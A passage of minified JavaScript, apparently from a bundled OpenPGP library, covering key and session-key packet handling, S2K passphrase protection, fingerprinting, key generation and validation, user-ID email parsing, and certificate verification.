n.decrypt(this.encrypted,this.iv,r)}else if(null!==this.encrypted){const e=await On.mode.cfb.decrypt(t,i,this.encrypted,new Uint8Array(On.cipher[t].blockSize));this.sessionKeyAlgorithm=re.read(re.symmetric,e[0]),this.sessionKey=e.subarray(1,e.length)}else this.sessionKey=i}async encrypt(e,t=ie){const r=null!==this.sessionKeyEncryptionAlgorithm?this.sessionKeyEncryptionAlgorithm:this.sessionKeyAlgorithm;this.sessionKeyEncryptionAlgorithm=r,this.s2k=new Po(t),this.s2k.salt=await On.random.getRandomBytes(8);const i=On.cipher[r].keySize,n=await this.s2k.produceKey(e,i);if(null===this.sessionKey&&(this.sessionKey=await On.generateSessionKey(this.sessionKeyAlgorithm)),5===this.version){const e=On.mode[this.aeadAlgorithm];this.iv=await On.random.getRandomBytes(e.ivLength);const t=new Uint8Array([192|xo.tag,this.version,re.write(re.symmetric,this.sessionKeyEncryptionAlgorithm),re.write(re.aead,this.aeadAlgorithm)]),i=await e(r,n);this.encrypted=await i.encrypt(this.sessionKey,this.iv,t)}else{const e=new Uint8Array([re.write(re.symmetric,this.sessionKeyAlgorithm)]),i=V.concatUint8Array([e,this.sessionKey]);this.encrypted=await On.mode.cfb.encrypt(r,n,i,new Uint8Array(On.cipher[r].blockSize),t)}}}class Mo{static get tag(){return re.packet.publicKey}constructor(e=new Date,t=ie){this.version=t.v5Keys?5:4,this.created=V.normalizeDate(e),this.algorithm=null,this.publicParams=null,this.expirationTimeV3=0,this.fingerprint=null,this.keyID=null}static fromSecretKeyPacket(e){const t=new Mo,{version:r,created:i,algorithm:n,publicParams:a,keyID:s,fingerprint:o}=e;return t.version=r,t.created=i,t.algorithm=n,t.publicParams=a,t.keyID=s,t.fingerprint=o,t}async read(e){let t=0;if(this.version=e[t++],4===this.version||5===this.version){this.created=V.readDate(e.subarray(t,t+4)),t+=4,this.algorithm=re.read(re.publicKey,e[t++]);const r=re.write(re.publicKey,this.algorithm);5===this.version&&(t+=4);try{const{read:i,publicParams:n}=On.parsePublicKeyParams(r,e.subarray(t));this.publicParams=n,t+=i}catch(e){throw Error("Error reading MPIs")}return await this.computeFingerprintAndKeyID(),t}throw new io(`Version ${this.version} of the key packet is unsupported.`)}write(){const e=[];e.push(new Uint8Array([this.version])),e.push(V.writeDate(this.created));const t=re.write(re.publicKey,this.algorithm);e.push(new Uint8Array([t]));const r=On.serializeParams(t,this.publicParams);return 5===this.version&&e.push(V.writeNumber(r.length,4)),e.push(r),V.concatUint8Array(e)}writeForHash(e){const t=this.writePublicKey();return 5===e?V.concatUint8Array([new Uint8Array([154]),V.writeNumber(t.length,4),t]):V.concatUint8Array([new Uint8Array([153]),V.writeNumber(t.length,2),t])}isDecrypted(){return null}getCreationTime(){return this.created}getKeyID(){return this.keyID}async computeFingerprintAndKeyID(){if(await this.computeFingerprint(),this.keyID=new le,5===this.version)this.keyID.read(this.fingerprint.subarray(0,8));else{if(4!==this.version)throw Error("Unsupported key version");this.keyID.read(this.fingerprint.subarray(12,20))}}async computeFingerprint(){const e=this.writeForHash(this.version);if(5===this.version)this.fingerprint=await On.hash.sha256(e);else{if(4!==this.version)throw Error("Unsupported key version");this.fingerprint=await On.hash.sha1(e)}}getFingerprintBytes(){return this.fingerprint}getFingerprint(){return V.uint8ArrayToHex(this.getFingerprintBytes())}hasSameFingerprintAs(e){return this.version===e.version&&V.equalsUint8Array(this.writePublicKey(),e.writePublicKey())}getAlgorithmInfo(){const e={};e.algorithm=this.algorithm;const t=this.publicParams.n||this.publicParams.p;return t?e.bits=V.uint8ArrayBitLength(t):e.curve=this.publicParams.oid.getName(),e}}Mo.prototype.readPublicKey=Mo.prototype.read,Mo.prototype.writePublicKey=Mo.prototype.write;const Co=/*#__PURE__*/V.constructAllowedPackets([Zs,lo,co,so]);class Ko{static get tag(){return re.packet.symmetricallyEncryptedData}constructor(){this.encrypted=null,this.packets=null}read(e){this.encrypted=e}write(){return this.encrypted}async decrypt(e,t,r=ie){if(!r.allowUnauthenticatedMessages)throw Error("Message is not authenticated.");const i=await L(q(this.encrypted)),n=await On.mode.cfb.decrypt(e,t,i.subarray(On.cipher[e].blockSize+2),i.subarray(2,On.cipher[e].blockSize+2));this.packets=await ho.fromBinary(n,Co,r)}async encrypt(e,t,r=ie){const i=this.packets.write(),n=await On.getPrefixRandom(e),a=await On.mode.cfb.encrypt(e,t,n,new Uint8Array(On.cipher[e].blockSize),r),s=await On.mode.cfb.encrypt(e,t,i,a.subarray(2),r);this.encrypted=V.concat([a,s])}}class Do extends Mo{static get tag(){return re.packet.publicSubkey}constructor(e,t){super(e,t)}static fromSecretSubkeyPacket(e){const t=new Do,{version:r,created:i,algorithm:n,publicParams:a,keyID:s,fingerprint:o}=e;return t.version=r,t.created=i,t.algorithm=n,t.publicParams=a,t.keyID=s,t.fingerprint=o,t}}class Ro{static get tag(){return re.packet.userAttribute}constructor(){this.attributes=[]}read(e){let t=0;for(;t<e.length;){const r=Ys(e.subarray(t,e.length));t+=r.offset,this.attributes.push(V.uint8ArrayToString(e.subarray(t,t+r.len))),t+=r.len}}write(){const e=[];for(let t=0;t<this.attributes.length;t++)e.push(Xs(this.attributes[t].length)),e.push(V.stringToUint8Array(this.attributes[t]));return V.concatUint8Array(e)}equals(e){return!!(e&&e instanceof Ro)&&this.attributes.every((function(t,r){return t===e.attributes[r]}))}}class Io extends Mo{static get tag(){return re.packet.secretKey}constructor(e=new Date,t=ie){super(e,t),this.keyMaterial=null,this.isEncrypted=null,this.s2kUsage=0,this.s2k=null,this.symmetric=null,this.aead=null,this.privateParams=null}async read(e){let t=await this.readPublicKey(e);if(this.s2kUsage=e[t++],5===this.version&&t++,255===this.s2kUsage||254===this.s2kUsage||253===this.s2kUsage){if(this.symmetric=e[t++],this.symmetric=re.read(re.symmetric,this.symmetric),253===this.s2kUsage&&(this.aead=e[t++],this.aead=re.read(re.aead,this.aead)),this.s2k=new Po,t+=this.s2k.read(e.subarray(t,e.length)),"gnu-dummy"===this.s2k.type)return}else this.s2kUsage&&(this.symmetric=this.s2kUsage,this.symmetric=re.read(re.symmetric,this.symmetric));if(this.s2kUsage&&(this.iv=e.subarray(t,t+On.cipher[this.symmetric].blockSize),t+=this.iv.length),5===this.version&&(t+=4),this.keyMaterial=e.subarray(t),this.isEncrypted=!!this.s2kUsage,!this.isEncrypted){const e=this.keyMaterial.subarray(0,-2);if(!V.equalsUint8Array(V.writeChecksum(e),this.keyMaterial.subarray(-2)))throw Error("Key checksum mismatch");try{const t=re.write(re.publicKey,this.algorithm),{privateParams:r}=On.parsePrivateKeyParams(t,e,this.publicParams);this.privateParams=r}catch(e){throw Error("Error reading MPIs")}}}write(){const e=[this.writePublicKey()];e.push(new Uint8Array([this.s2kUsage]));const t=[];if(255!==this.s2kUsage&&254!==this.s2kUsage&&253!==this.s2kUsage||(t.push(re.write(re.symmetric,this.symmetric)),253===this.s2kUsage&&t.push(re.write(re.aead,this.aead)),t.push(...this.s2k.write())),this.s2kUsage&&"gnu-dummy"!==this.s2k.type&&t.push(...this.iv),5===this.version&&e.push(new Uint8Array([t.length])),e.push(new Uint8Array(t)),!this.isDummy()){if(!this.s2kUsage){const e=re.write(re.publicKey,this.algorithm);this.keyMaterial=On.serializeParams(e,this.privateParams)}5===this.version&&e.push(V.writeNumber(this.keyMaterial.length,4)),e.push(this.keyMaterial),this.s2kUsage||e.push(V.writeChecksum(this.keyMaterial))}return V.concatUint8Array(e)}isDecrypted(){return!1===this.isEncrypted}isDummy(){return!(!this.s2k||"gnu-dummy"!==this.s2k.type)}makeDummy(e=ie){this.isDummy()||(this.isDecrypted()&&this.clearPrivateParams(),this.isEncrypted=null,this.keyMaterial=null,this.s2k=new Po(e),this.s2k.algorithm=0,this.s2k.c=0,this.s2k.type="gnu-dummy",this.s2kUsage=254,this.symmetric="aes256")}async encrypt(e,t=ie){if(this.isDummy())return;if(!this.isDecrypted())throw Error("Key packet is already encrypted");if(this.isDecrypted()&&!e)return void(this.s2kUsage=0);if(!e)throw Error("The key must be decrypted before removing passphrase protection.");this.s2k=new Po(t),this.s2k.salt=await On.random.getRandomBytes(8);const r=re.write(re.publicKey,this.algorithm),i=On.serializeParams(r,this.privateParams);this.symmetric="aes256";const n=await Uo(this.s2k,e,this.symmetric),a=On.cipher[this.symmetric].blockSize;if(this.iv=await On.random.getRandomBytes(a),t.aeadProtect){this.s2kUsage=253,this.aead="eax";const e=On.mode[this.aead],t=await e(this.symmetric,n);this.keyMaterial=await t.encrypt(i,this.iv.subarray(0,e.ivLength),new Uint8Array)}else this.s2kUsage=254,this.keyMaterial=await On.mode.cfb.encrypt(this.symmetric,n,V.concatUint8Array([i,await On.hash.sha1(i,t)]),this.iv,t)}async decrypt(e){if(this.isDummy())return!1;if(this.isDecrypted())throw Error("Key packet is already decrypted.");let t,r;if(254!==this.s2kUsage&&253!==this.s2kUsage)throw 255===this.s2kUsage?Error("Encrypted private key is authenticated using an insecure two-byte hash"):Error("Private key is encrypted using an insecure S2K function: unsalted MD5");if(t=await Uo(this.s2k,e,this.symmetric),253===this.s2kUsage){const e=On.mode[this.aead];try{const i=await e(this.symmetric,t);r=await i.decrypt(this.keyMaterial,this.iv.subarray(0,e.ivLength),new Uint8Array)}catch(e){if("Authentication tag mismatch"===e.message)throw Error("Incorrect key passphrase: "+e.message);throw e}}else{const e=await On.mode.cfb.decrypt(this.symmetric,t,this.keyMaterial,this.iv);r=e.subarray(0,-20);const i=await On.hash.sha1(r);if(!V.equalsUint8Array(i,e.subarray(-20)))throw Error("Incorrect key passphrase")}try{const e=re.write(re.publicKey,this.algorithm),{privateParams:t}=On.parsePrivateKeyParams(e,r,this.publicParams);this.privateParams=t}catch(e){throw Error("Error reading MPIs")}this.isEncrypted=!1,this.keyMaterial=null,this.s2kUsage=0}async validate(){if(this.isDummy())return;if(!this.isDecrypted())throw Error("Key is not decrypted");const e=re.write(re.publicKey,this.algorithm);let t;try{t=await On.validateParams(e,this.publicParams,this.privateParams)}catch(e){t=!1}if(!t)throw Error("Key is invalid")}async generate(e,t){const r=re.write(re.publicKey,this.algorithm),{privateParams:i,publicParams:n}=await On.generateParams(r,e,t);this.privateParams=i,this.publicParams=n,this.isEncrypted=!1}clearPrivateParams(){this.isDummy()||(Object.keys(this.privateParams).forEach((e=>{this.privateParams[e].fill(0),delete this.privateParams[e]})),this.privateParams=null,this.isEncrypted=!0)}}async function Uo(e,t,r){return e.produceKey(t,On.cipher[r].keySize)}var Bo=tt((function(e){!function(t){function r(e){function t(){return Ae<Se}function r(){return Ae}function n(e){Ae=e}function a(){Ae=0,Se=ke.length}function s(e,t){return{name:e,tokens:t||"",semantic:t||"",children:[]}}function o(e,t){var r;return null===t?null:((r=s(e)).tokens=t.tokens,r.semantic=t.semantic,r.children.push(t),r)}function c(e,t){return null!==t&&(e.tokens+=t.tokens,e.semantic+=t.semantic),e.children.push(t),e}function u(e){var r;return t()&&e(r=ke[Ae])?(Ae+=1,s("token",r)):null}function h(e){return function(){return o("literal",u((function(t){return t===e})))}}function d(){var e=arguments;return function(){var t,i,a,o;for(o=r(),i=s("and"),t=0;t<e.length;t+=1){if(null===(a=e[t]()))return n(o),null;c(i,a)}return i}}function f(){var e=arguments;return function(){var t,i,a;for(a=r(),t=0;t<e.length;t+=1){if(null!==(i=e[t]()))return i;n(a)}return null}}function l(e){return function(){var t,i;return i=r(),null!==(t=e())?t:(n(i),s("opt"))}}function p(e){return function(){var t=e();return null!==t&&(t.semantic=""),t}}function y(e){return function(){var t=e();return null!==t&&t.semantic.length>0&&(t.semantic=" "),t}}function b(e,t){return function(){var i,a,o,u,h;for(u=r(),i=s("star"),o=0,h=void 0===t?0:t;null!==(a=e());)o+=1,c(i,a);return o>=h?i:(n(u),null)}}function m(e){return e.charCodeAt(0)>=128}function g(){return o("cr",h("\r")())}function w(){return o("crlf",d(g,k)())}function v(){return o("dquote",h('"')())}function _(){return o("htab",h("\t")())}function k(){return o("lf",h("\n")())}function A(){return o("sp",h(" ")())}function S(){return o("vchar",u((function(t){var r=t.charCodeAt(0),i=33<=r&&r<=126;return e.rfc6532&&(i=i||m(t)),i})))}function E(){return o("wsp",f(A,_)())}function P(){var e=o("quoted-pair",f(d(h("\\"),f(S,E)),ie)());return null===e?null:(e.semantic=e.semantic[1],e)}function x(){return o("fws",f(ae,d(l(d(b(E),p(w))),b(E,1)))())}function M(){return o("ctext",f((function(){return u((function(t){var r=t.charCodeAt(0),i=33<=r&&r<=39||42<=r&&r<=91||93<=r&&r<=126;return e.rfc6532&&(i=i||m(t)),i}))}),te)())}function C(){return o("ccontent",f(M,P,K)())}function K(){return o("comment",d(h("("),b(d(l(x),C)),l(x),h(")"))())}function D(){return o("cfws",f(d(b(d(l(x),K),1),l(x)),x)())}function R(){return o("atext",u((function(t){var r="a"<=t&&t<="z"||"A"<=t&&t<="Z"||"0"<=t&&t<="9"||["!","#","$","%","&","'","*","+","-","/","=","?","^","_","`","{","|","}","~"].indexOf(t)>=0;return e.rfc6532&&(r=r||m(t)),r})))}function I(){return o("atom",d(y(l(D)),b(R,1),y(l(D)))())}function U(){var e,t;return null===(e=o("dot-atom-text",b(R,1)()))||null!==(t=b(d(h("."),b(R,1)))())&&c(e,t),e}function B(){return o("dot-atom",d(p(l(D)),U,p(l(D)))())}function T(){return o("qtext",f((function(){return u((function(t){var r=t.charCodeAt(0),i=33===r||35<=r&&r<=91||93<=r&&r<=126;return e.rfc6532&&(i=i||m(t)),i}))}),re)())}function z(){return o("qcontent",f(T,P)())}function q(){return o("quoted-string",d(p(l(D)),p(v),b(d(l(y(x)),z)),l(p(x)),p(v),p(l(D)))())}function O(){return o("word",f(I,q)())}function F(){return o("address",f(N,W)())}function N(){return o("mailbox",f(L,J)())}function L(){return o("name-addr",d(l(H),j)())}function j(){return o("angle-addr",f(d(p(l(D)),h("<"),J,h(">"),p(l(D))),se)())}function W(){return o("group",d(H,h(":"),l($),h(";"),p(l(D)))())}function H(){return o("display-name",(null!==(e=o("phrase",f(ne,b(O,1))()))&&(e.semantic=function(e){return e.replace(/([ \t]|\r\n)+/g," ").replace(/^\s*/,"").replace(/\s*$/,"")}(e.semantic)),e));var e}function G(){return o("mailbox-list",f(d(N,b(d(h(","),N))),ue)())}function V(){return o("address-list",f(d(F,b(d(h(","),F))),he)())}function $(){return o("group-list",f(G,p(D),de)())}function Z(){return o("local-part",f(fe,B,q)())}function Y(){return o("dtext",f((function(){return u((function(t){var r=t.charCodeAt(0),i=33<=r&&r<=90||94<=r&&r<=126;return e.rfc6532&&(i=i||m(t)),i}))}),pe)())}function X(){return o("domain-literal",d(p(l(D)),h("["),b(d(l(x),Y)),l(x),h("]"),p(l(D)))())}function Q(){return o("domain",(t=f(le,B,X)(),e.rejectTLD&&t&&t.semantic&&t.semantic.indexOf(".")<0?null:(t&&(t.semantic=t.semantic.replace(/\s+/g,"")),t)));var t}function J(){return o("addr-spec",d(Z,h("@"),Q)())}function ee(){return e.strict?null:o("obs-NO-WS-CTL",u((function(e){var t=e.charCodeAt(0);return 1<=t&&t<=8||11===t||12===t||14<=t&&t<=31||127===t})))}function te(){return e.strict?null:o("obs-ctext",ee())}function re(){return e.strict?null:o("obs-qtext",ee())}function ie(){return e.strict?null:o("obs-qp",d(h("\\"),f(h("\0"),ee,k,g))())}function ne(){return e.strict?null:e.atInDisplayName?o("obs-phrase",d(O,b(f(O,h("."),h("@"),y(D))))()):o("obs-phrase",d(O,b(f(O,h("."),y(D))))())}function ae(){return e.strict?null:o("obs-FWS",b(d(p(l(w)),E),1)())}function se(){return e.strict?null:o("obs-angle-addr",d(p(l(D)),h("<"),oe,J,h(">"),p(l(D)))())}function oe(){return e.strict?null:o("obs-route",d(ce,h(":"))())}function ce(){return e.strict?null:o("obs-domain-list",d(b(f(p(D),h(","))),h("@"),Q,b(d(h(","),p(l(D)),l(d(h("@"),Q)))))())}function ue(){return e.strict?null:o("obs-mbox-list",d(b(d(p(l(D)),h(","))),N,b(d(h(","),l(d(N,p(D))))))())}function he(){return e.strict?null:o("obs-addr-list",d(b(d(p(l(D)),h(","))),F,b(d(h(","),l(d(F,p(D))))))())}function de(){return e.strict?null:o("obs-group-list",d(b(d(p(l(D)),h(",")),1),p(l(D)))())}function fe(){return e.strict?null:o("obs-local-part",d(O,b(d(h("."),O)))())}function le(){return e.strict?null:o("obs-domain",d(I,b(d(h("."),I)))())}function pe(){return e.strict?null:o("obs-dtext",f(ee,P)())}function ye(e,t){var r,i,n;if(null==t)return null;for(i=[t];i.length>0;){if((n=i.pop()).name===e)return n;for(r=n.children.length-1;r>=0;r-=1)i.push(n.children[r])}return null}function be(e,t){var r,i,n,a,s;if(null==t)return null;for(i=[t],a=[],s={},r=0;r<e.length;r+=1)s[e[r]]=!0;for(;i.length>0;)if((n=i.pop()).name in s)a.push(n);else for(r=n.children.length-1;r>=0;r-=1)i.push(n.children[r]);return a}function me(t){var r,i,n,a,s;if(null===t)return null;for(r=[],i=be(["group","mailbox"],t),n=0;n<i.length;n+=1)"group"===(a=i[n]).name?r.push(ge(a)):"mailbox"===a.name&&r.push(we(a));return s={ast:t,addresses:r},e.simple&&(s=function(e){var t;if(e&&e.addresses)for(t=0;t<e.addresses.length;t+=1)delete e.addresses[t].node;return e}(s)),e.oneResult?function(t){if(!t)return null;if(!e.partial&&t.addresses.length>1)return null;return t.addresses&&t.addresses[0]}(s):e.simple?s&&s.addresses:s}function ge(e){var t,r=ye("display-name",e),i=[],n=be(["mailbox"],e);for(t=0;t<n.length;t+=1)i.push(we(n[t]));return{node:e,parts:{name:r},type:e.name,name:ve(r),addresses:i}}function we(e){var t=ye("display-name",e),r=ye("addr-spec",e),i=function(e,t){var r,i,n,a;if(null==t)return null;for(i=[t],a=[];i.length>0;)for((n=i.pop()).name===e&&a.push(n),r=n.children.length-1;r>=0;r-=1)i.push(n.children[r]);return a}("cfws",e),n=be(["comment"],e),a=ye("local-part",r),s=ye("domain",r);return{node:e,parts:{name:t,address:r,local:a,domain:s,comments:i},type:e.name,name:ve(t),address:ve(r),local:ve(a),domain:ve(s),comments:_e(n),groupName:ve(e.groupName)}}function ve(e){return null!=e?e.semantic:null}function _e(e){var t="";if(e)for(var r=0;r<e.length;r+=1)t+=ve(e[r]);return t}var ke,Ae,Se,Ee,Pe;if(null===(e=i(e,{})))return null;if(ke=e.input,Pe={address:F,"address-list":V,"angle-addr":j,from:function(){return o("from",f(G,V)())},group:W,mailbox:N,"mailbox-list":G,"reply-to":function(){return o("reply-to",V())},sender:function(){return o("sender",f(N,F)())}}[e.startAt]||V,!e.strict){if(a(),e.strict=!0,Ee=Pe(ke),e.partial||!t())return me(Ee);e.strict=!1}return a(),Ee=Pe(ke),!e.partial&&t()?null:me(Ee)}function i(e,t){function r(e){return"[object String]"===Object.prototype.toString.call(e)}function i(e){return null==e}var n,a;if(r(e))e={input:e};else if(!function(e){return e===Object(e)}(e))return null;if(!r(e.input))return null;if(!t)return null;for(a in n={oneResult:!1,partial:!1,rejectTLD:!1,rfc6532:!1,simple:!1,startAt:"address-list",strict:!1,atInDisplayName:!1})i(e[a])&&(e[a]=i(t[a])?n[a]:t[a]);return e}r.parseOneAddress=function(e){return r(i(e,{oneResult:!0,rfc6532:!0,simple:!0,startAt:"address-list"}))},r.parseAddressList=function(e){return r(i(e,{rfc6532:!0,simple:!0,startAt:"address-list"}))},r.parseFrom=function(e){return r(i(e,{rfc6532:!0,simple:!0,startAt:"from"}))},r.parseSender=function(e){return r(i(e,{oneResult:!0,rfc6532:!0,simple:!0,startAt:"sender"}))},r.parseReplyTo=function(e){return r(i(e,{rfc6532:!0,simple:!0,startAt:"reply-to"}))},e.exports=r}()}));class To{static get tag(){return re.packet.userID}constructor(){this.userID="",this.name="",this.email="",this.comment=""}static fromObject(e){if(V.isString(e)||e.name&&!V.isString(e.name)||e.email&&!V.isEmailAddress(e.email)||e.comment&&!V.isString(e.comment))throw Error("Invalid user ID format");const t=new To;Object.assign(t,e);const r=[];return t.name&&r.push(t.name),t.comment&&r.push(`(${t.comment})`),t.email&&r.push(`<${t.email}>`),t.userID=r.join(" "),t}read(e,t=ie){const r=V.decodeUTF8(e);if(r.length>t.maxUserIDLength)throw Error("User ID string is too long");try{const{name:e,address:t,comments:i}=Bo.parseOneAddress({input:r,atInDisplayName:!0});this.comment=i.replace(/^\(|\)$/g,""),this.name=e,this.email=t}catch(e){}this.userID=r}write(){return V.encodeUTF8(this.userID)}equals(e){return e&&e.userID===this.userID}}class zo extends Io{static get tag(){return re.packet.secretSubkey}constructor(e=new Date,t=ie){super(e,t)}}const qo=/*#__PURE__*/V.constructAllowedPackets([so]);class Oo{constructor(e){this.packets=e||new ho}write(){return this.packets.write()}armor(e=ie){return fe(re.armor.signature,this.write(),void 0,void 0,void 0,e)}getSigningKeyIDs(){return this.packets.map((e=>e.issuerKeyID))}}async function Fo(e,t){const r=new zo(e.date,t);return r.packets=null,r.algorithm=re.read(re.publicKey,e.algorithm),await r.generate(e.rsaBits,e.curve),await r.computeFingerprintAndKeyID(),r}async function No(e,t){const r=new Io(e.date,t);return r.packets=null,r.algorithm=re.read(re.publicKey,e.algorithm),await r.generate(e.rsaBits,e.curve,e.config),await r.computeFingerprintAndKeyID(),r}async function Lo(e,t,r,i,n=new Date,a){let s,o;for(let c=e.length-1;c>=0;c--)try{(!s||e[c].created>=s.created)&&(await e[c].verify(t,r,i,n,void 0,a),s=e[c])}catch(e){o=e}if(!s)throw V.wrapError(`Could not find valid ${re.read(re.signature,r)} signature in key ${t.getKeyID().toHex()}`.replace("certGeneric ","self-").replace(/([a-z])([A-Z])/g,((e,t,r)=>t+" "+r.toLowerCase())),o);return s}function jo(e,t,r=new Date){const i=V.normalizeDate(r);if(null!==i){const r=Yo(e,t);return!(e.created<=i&&i<r)}return!1}async function Wo(e,t,r,i){const n={};n.key=t,n.bind=e;const a=new so;return a.signatureType=re.signature.subkeyBinding,a.publicKeyAlgorithm=t.algorithm,a.hashAlgorithm=await Ho(null,e,void 0,void 0,i),r.sign?(a.keyFlags=[re.keyFlags.signData],a.embeddedSignature=await Vo(n,null,e,{signatureType:re.signature.keyBinding},r.date,void 0,void 0,i)):a.keyFlags=[re.keyFlags.encryptCommunication|re.keyFlags.encryptStorage],r.keyExpirationTime>0&&(a.keyExpirationTime=r.keyExpirationTime,a.keyNeverExpires=!1),await a.sign(t,n,r.date),a}async function Ho(e,t,r=new Date,i={},n){let a=n.preferredHashAlgorithm,s=a;if(e){const t=await e.getPrimaryUser(r,i,n);t.selfCertification.preferredHashAlgorithms&&([s]=t.selfCertification.preferredHashAlgorithms,a=On.hash.getHashByteLength(a)<=On.hash.getHashByteLength(s)?s:a)}switch(Object.getPrototypeOf(t)){case Io.prototype:case Mo.prototype:case zo.prototype:case Do.prototype:switch(t.algorithm){case"ecdh":case"ecdsa":case"eddsa":s=On.publicKey.elliptic.getPreferredHashAlgo(t.publicParams.oid)}}return On.hash.getHashByteLength(a)<=On.hash.getHashByteLength(s)?s:a}async function Go(e,t=[],r=new Date,i=[],n=ie){const a={symmetric:re.symmetric.aes128,aead:re.aead.eax,compression:re.compression.uncompressed}[e],s={symmetric:n.preferredSymmetricAlgorithm,aead:n.preferredAEADAlgorithm,compression:n.preferredCompressionAlgorithm}[e],o={symmetric:"preferredSymmetricAlgorithms",aead:"preferredAEADAlgorithms",compression:"preferredCompressionAlgorithms"}[e];return(await Promise.all(t.map((async function(e,t){const a=(await e.getPrimaryUser(r,i[t],n)).selfCertification[o];return!!a&&a.indexOf(s)>=0})))).every(Boolean)?s:a}async function Vo(e,t,r,i,n,a,s=!1,o){if(r.isDummy())throw Error("Cannot sign with a gnu-dummy key.");if(!r.isDecrypted())throw Error("Signing key is not decrypted.");const c=new so;return Object.assign(c,i),c.publicKeyAlgorithm=r.algorithm,c.hashAlgorithm=await Ho(t,r,n,a,o),await c.sign(r,e,n,s),c}async function $o(e,t,r,i=new Date,n){(e=e[r])&&(t[r].length?await Promise.all(e.map((async function(e){e.isExpired(i)||n&&!await n(e)||t[r].some((function(t){return V.equalsUint8Array(t.writeParams(),e.writeParams())}))||t[r].push(e)}))):t[r]=e)}async function Zo(e,t,r,i,n,a,s=new Date,o){a=a||e;const c=[];return await Promise.all(i.map((async function(e){try{n&&!e.issuerKeyID.equals(n.issuerKeyID)||(await e.verify(a,t,r,o.revocationsExpire?s:null,!1,o),c.push(e.issuerKeyID))}catch(e){}}))),n?(n.revoked=!!c.some((e=>e.equals(n.issuerKeyID)))||(n.revoked||!1),n.revoked):c.length>0}function Yo(e,t){let r;return!1===t.keyNeverExpires&&(r=e.created.getTime()+1e3*t.keyExpirationTime),r?new Date(r):1/0}function Xo(e,t={}){switch(e.type=e.type||t.type,e.curve=e.curve||t.curve,e.rsaBits=e.rsaBits||t.rsaBits,e.keyExpirationTime=void 0!==e.keyExpirationTime?e.keyExpirationTime:t.keyExpirationTime,e.passphrase=V.isString(e.passphrase)?e.passphrase:t.passphrase,e.date=e.date||t.date,e.sign=e.sign||!1,e.type){case"ecc":try{e.curve=re.write(re.curve,e.curve)}catch(e){throw Error("Invalid curve")}e.curve!==re.curve.ed25519&&e.curve!==re.curve.curve25519||(e.curve=e.sign?re.curve.ed25519:re.curve.curve25519),e.sign?e.algorithm=e.curve===re.curve.ed25519?re.publicKey.eddsa:re.publicKey.ecdsa:e.algorithm=re.publicKey.ecdh;break;case"rsa":e.algorithm=re.publicKey.rsaEncryptSign;break;default:throw Error("Unsupported key type "+e.type)}return e}function Qo(e,t){const r=re.write(re.publicKey,e.algorithm);return r!==re.publicKey.rsaEncrypt&&r!==re.publicKey.elgamal&&r!==re.publicKey.ecdh&&(!t.keyFlags||0!=(t.keyFlags[0]&re.keyFlags.signData))}function Jo(e,t){const r=re.write(re.publicKey,e.algorithm);return r!==re.publicKey.dsa&&r!==re.publicKey.rsaSign&&r!==re.publicKey.ecdsa&&r!==re.publicKey.eddsa&&(!t.keyFlags||0!=(t.keyFlags[0]&re.keyFlags.encryptCommunication)||0!=(t.keyFlags[0]&re.keyFlags.encryptStorage))}function ec(e,t){return!!t.allowInsecureDecryptionWithSigningKeys||(!e.keyFlags||0!=(e.keyFlags[0]&re.keyFlags.encryptCommunication)||0!=(e.keyFlags[0]&re.keyFlags.encryptStorage))}function tc(e,t){const r=re.write(re.publicKey,e.algorithm);if(t.rejectPublicKeyAlgorithms.has(r))throw Error(e.algorithm+" keys are considered too weak.");const i=e.getAlgorithmInfo();switch(r){case re.publicKey.rsaEncryptSign:case re.publicKey.rsaSign:case re.publicKey.rsaEncrypt:if(i.bits<t.minRSABits)throw Error(`RSA keys shorter than ${t.minRSABits} bits are considered too weak.`);break;case re.publicKey.ecdsa:case re.publicKey.eddsa:case re.publicKey.ecdh:if(t.rejectCurves.has(i.curve))throw Error(`Support for ${e.algorithm} keys using curve ${i.curve} is disabled.`)}}class rc{constructor(e,t){this.userID=e.constructor.tag===re.packet.userID?e:null,this.userAttribute=e.constructor.tag===re.packet.userAttribute?e:null,this.selfCertifications=[],this.otherCertifications=[],this.revocationSignatures=[],this.mainKey=t}toPacketList(){const e=new ho;return e.push(this.userID||this.userAttribute),e.push(...this.revocationSignatures),e.push(...this.selfCertifications),e.push(...this.otherCertifications),e}clone(){const e=new rc(this.userID||this.userAttribute,this.mainKey);return e.selfCertifications=[...this.selfCertifications],e.otherCertifications=[...this.otherCertifications],e.revocationSignatures=[...this.revocationSignatures],e}async certify(e,t,r){const i=this.mainKey.keyPacket,n={userID:this.userID,userAttribute:this.userAttribute,key:i},a=new rc(n.userID||n.userAttribute,this.mainKey);return a.otherCertifications=await Promise.all(e.map((async function(e){if(!e.isPrivate())throw Error("Need private key for signing");if(e.hasSameFingerprintAs(i))throw Error("The user's own key can only be used for self-certifications");const a=await e.getSigningKey(void 0,t,void 0,r);return Vo(n,e,a.keyPacket,{signatureType:re.signature.certGeneric,keyFlags:[re.keyFlags.certifyKeys|re.keyFlags.signData]},t,void 0,void 0,r)}))),await a.update(this,t,r),a}async isRevoked(e,t,r=new Date,i){const n=this.mainKey.keyPacket;return Zo(n,re.signature.certRevocation,{key:n,userID:this.userID,userAttribute:this.userAttribute},this.revocationSignatures,e,t,r,i)}async verifyCertificate(e,t,r=new Date,i){const n=this,a=this.mainKey.keyPacket,s={userID:this.userID,userAttribute:this.userAttribute,key:a},{issuerKeyID:o}=e,c=t.filter((e=>e.getKeys(o).length>0));return 0===c.length?null:(await Promise.all(c.map((async t=>{const a=await t.getSigningKey(o,e.created,void 0,i);if(e.revoked||await n.isRevoked(e,a.keyPacket,r,i))throw Error("User certificate is revoked");try{await e.verify(a.keyPacket,re.signature.certGeneric,s,r,void 0,i)}catch(e){throw V.wrapError("User certificate is invalid",e)}}))),!0)}async verifyAllCertifications(e,t=new Date,r){const i=this,n=this.selfCertifications.concat(this.otherCertifications);return Promise.all(n.map((async n=>({keyID:n.issuerKeyID,valid:await i.verifyCertificate(n,e,t,r).catch((()=>!1))}))))}async verify(e=new Date,t){if(!this.selfCertifications.length)throw Error("No self-certifications found");const r=this,i=this.mainKey.keyPacket,n={userID:this.userID,userAttribute:this.userAttribute,key:i};let a;for(let s=this.selfCertifications.length-1;s>=0;s--)try{const a=this.selfCertifications[s];if(a.revoked||await r.isRevoked(a,void 0,e,t))throw Error("Self-certification is revoked");try{await a.verify(i,re.signature.certGeneric,n,e,void 0,t)}catch(e){throw V.wrapError("Self-certification is invalid",e)}return!0}catch(e){a=e}throw a}async update(e,t,r){const i=this.mainKey.keyPacket,n={userID:this.userID,userAttribute:this.userAttribute,key:i};await $o(e,this,"selfCertifications",t,(async function(e){try{return await 